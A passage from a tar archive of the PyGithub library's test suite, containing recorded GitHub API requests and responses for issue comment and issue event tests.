max-age=60, s-maxage=60'), ('status', '201 Created'), ('x-ratelimit-remaining', '4980'), ('x-github-media-type', 'github.squirrel-girl-preview'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'F2C5:452C:149699:33A732:5A31CB59'), ('date', 'Thu, 14 Dec 2017 00:52:42 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1513213757')] {"id":17282654,"user":{"login":"nicolastrres","id":6579348,"avatar_url":"https://avatars0.githubusercontent.com/u/6579348?v=4","gravatar_id":"","url":"https://api.github.com/users/nicolastrres","html_url":"https://github.com/nicolastrres","followers_url":"https://api.github.com/users/nicolastrres/followers","following_url":"https://api.github.com/users/nicolastrres/following{/other_user}","gists_url":"https://api.github.com/users/nicolastrres/gists{/gist_id}","starred_url":"https://api.github.com/users/nicolastrres/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nicolastrres/subscriptions","organizations_url":"https://api.github.com/users/nicolastrres/orgs","repos_url":"https://api.github.com/users/nicolastrres/repos","events_url":"https://api.github.com/users/nicolastrres/events{/privacy}","received_events_url":"https://api.github.com/users/nicolastrres/received_events","type":"User","site_admin":false},"content":"hooray","created_at":"2017-12-14T00:52:42Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/IssueComment.testDelete.txt0000644000175100001660000000065114756101563023435 0ustar00runnerdockerhttps DELETE api.github.com None /repos/PyGithub/PyGithub/issues/comments/20227753 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4975'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 20 May 2012 11:57:12 GMT')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/IssueComment.testDeleteReaction.txt0000644000175100001660000000257214756101563025126 0ustar00runnerdockerhttps DELETE api.github.com None /repos/PyGithub/PyGithub/issues/comments/20227753/reactions/85743754 {'Accept': 'application/vnd.github.squirrel-girl-preview', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Date', 'Mon, 28 Sep 2020 20:58:11 GMT'), ('Server', 'GitHub.com'), ('Status', '204 No Content'), ('X-OAuth-Scopes', 'public_repo, repo:status, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.squirrel-girl-preview'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4983'), ('X-RateLimit-Reset', '1601330202'), ('X-RateLimit-Used', '17'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('X-GitHub-Request-Id', '8F46:7327:16616BD7:1AB22028:5F724E63')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/IssueComment.testEdit.txt0000644000175100001660000000206214756101563023116 0ustar00runnerdockerhttps PATCH api.github.com None /repos/PyGithub/PyGithub/issues/comments/20227753 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"body": "Comment edited by PyGithub"} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4980'), ('content-length', '505'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1599061186ef7ca2dbf5bdee1711746a"'), ('date', 'Sun, 20 May 2012 11:53:59 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-05-20T11:53:59Z","body":"Comment edited by PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/20227753","created_at":"2012-05-20T11:46:42Z","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":20227753} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/IssueComment.testGetReactions.txt0000644000175100001660000000447414756101563024631 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/issues/comments/20227753/reactions {'Authorization': 'Basic login_and_password_removed', 'Accept': 'application/vnd.github.squirrel-girl-preview', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '997'), ('x-runtime-rack', '0.054817'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"07ca04dfb60f61121045ee50401f8618"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4956'), ('x-github-media-type', 'github.squirrel-girl-preview'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'EED0:2C25:53276E:ACDB5F:5A2DC9AD'), ('date', 'Sun, 10 Dec 2017 23:56:30 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1512952989')] [{"id":17132447,"user":{"login":"nicolastrres","id":6579348,"avatar_url":"https://avatars0.githubusercontent.com/u/6579348?v=4","gravatar_id":"","url":"https://api.github.com/users/nicolastrres","html_url":"https://github.com/nicolastrres","followers_url":"https://api.github.com/users/nicolastrres/followers","following_url":"https://api.github.com/users/nicolastrres/following{/other_user}","gists_url":"https://api.github.com/users/nicolastrres/gists{/gist_id}","starred_url":"https://api.github.com/users/nicolastrres/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nicolastrres/subscriptions","organizations_url":"https://api.github.com/users/nicolastrres/orgs","repos_url":"https://api.github.com/users/nicolastrres/repos","events_url":"https://api.github.com/users/nicolastrres/events{/privacy}","received_events_url":"https://api.github.com/users/nicolastrres/received_events","type":"User","site_admin":false},"content":"+1","created_at":"2017-12-10T23:38:43Z"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/IssueComment.testMinimize.txt0000644000175100001660000000331214756101563024011 0ustar00runnerdockerhttps POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "mutation Mutation($input: MinimizeCommentInput!) { minimizeComment(input: $input) { minimizedComment { isMinimized } } }", "variables": {"input": {"subjectId": "MDEyOklzc3VlQ29tbWVudDIwMjI3NzUz", "classifier": "OUTDATED"}}} 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 29 Jul 2024 14:43:44 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('github-authentication-token-expiration', '2024-08-28 16:30:05 +0200'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1722267171'), ('X-RateLimit-Used', '9'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C08C:1A4F2F:3A882EB:3B486EE:66A7AAA0')] {"data":{"minimizeComment":{"minimizedComment":{"isMinimized":true}}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/IssueComment.testUnminimize.txt0000644000175100001660000000327414756101563024363 0ustar00runnerdockerhttps POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "mutation Mutation($input: UnminimizeCommentInput!) { unminimizeComment(input: $input) { unminimizedComment { isMinimized } } }", "variables": {"input": {"subjectId": "MDEyOklzc3VlQ29tbWVudDIwMjI3NzUz"}}} 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 29 Jul 2024 14:43:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('github-authentication-token-expiration', '2024-08-28 16:30:05 +0200'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4990'), ('X-RateLimit-Reset', '1722267171'), ('X-RateLimit-Used', '10'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C064:1A4F2F:3A8AFE1:3B4B457:66A7AAAB')] {"data":{"unminimizeComment":{"unminimizedComment":{"isMinimized":false}}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/IssueEvent.setUp.txt0000644000175100001660000057237214756101563022130 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:25:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f5cc8602b1810af03dbb6c6362f001a1e6360ddab7e5169b030d5cb0e172da51"'), ('Last-Modified', 'Fri, 03 Jan 2025 18:50:01 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4993'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '7'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'A552:236110:2293684D:23749C1A:677847C3')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2025-01-03T18:50:01Z","pushed_at":"2024-12-19T12:01:11Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16425,"stargazers_count":7117,"watchers_count":7117,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1793,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":356,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1793,"open_issues":356,"watchers":7117,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":false,"allow_rebase_merge":false,"allow_auto_merge":false,"delete_branch_on_merge":true,"allow_update_branch":true,"use_squash_pr_title_as_default":true,"squash_merge_commit_message":"PR_BODY","squash_merge_commit_title":"PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"enabled"},"secret_scanning_non_provider_patterns":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1793,"subscribers_count":111} https GET api.github.com None /repos/PyGithub/PyGithub/issues/events/16347479 {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:25:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"6d47a3e49e7716fe14c0cf85050a3d25e25f9e75ab098bec7d7111963f4b3ba4"'), ('Last-Modified', 'Sun, 20 Oct 2024 07:14:52 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=sailor-v-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4992'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '8'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'A55C:667D7:21D54A66:22B98E2D:677847C3')] {"id":16347479,"node_id":"MDE1OlN1YnNjcmliZWRFdmVudDE2MzQ3NDc5","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/16347479","actor":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"event":"subscribed","commit_id":null,"commit_url":null,"created_at":"2012-05-27T05:40:15Z","issue":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30/events","html_url":"https://github.com/PyGithub/PyGithub/issues/30","id":4769659,"node_id":"MDU6SXNzdWU0NzY5NjU5","number":30,"title":"Issue also created by PyGithub","user":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[{"id":3376821,"node_id":"MDU6TGFiZWwzMzc2ODIx","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/question","name":"question","color":"02e10c","default":true,"description":null}],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2012-05-27T05:40:15Z","updated_at":"2014-03-02T18:55:10Z","closed_at":"2012-05-27T11:04:25Z","author_association":"MEMBER","active_lock_reason":null,"body":"Body created by PyGithub\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30/timeline","performed_via_github_app":null,"state_reason":"completed"},"performed_via_github_app":null} https GET api.github.com None /repos/PyGithub/PyGithub/issues/events/16347480 {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:25:40 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"5f13e038ccf75f45a42e528e8e6f1924a54b8a4a64a03415a8bc1137f15184e9"'), ('Last-Modified', 'Sun, 20 Oct 2024 07:14:52 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=sailor-v-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '9'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'A568:5A83E:21A0381D:22847F8B:677847C3')] {"id":16347480,"node_id":"MDEzOkFzc2lnbmVkRXZlbnQxNjM0NzQ4MA==","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/16347480","actor":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"event":"assigned","commit_id":null,"commit_url":null,"created_at":"2012-05-27T05:40:15Z","assignee":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"assigner":{"login":"ghost","id":10137,"node_id":"MDQ6VXNlcjEwMTM3","avatar_url":"https://avatars.githubusercontent.com/u/10137?v=4","gravatar_id":"","url":"https://api.github.com/users/ghost","html_url":"https://github.com/ghost","followers_url":"https://api.github.com/users/ghost/followers","following_url":"https://api.git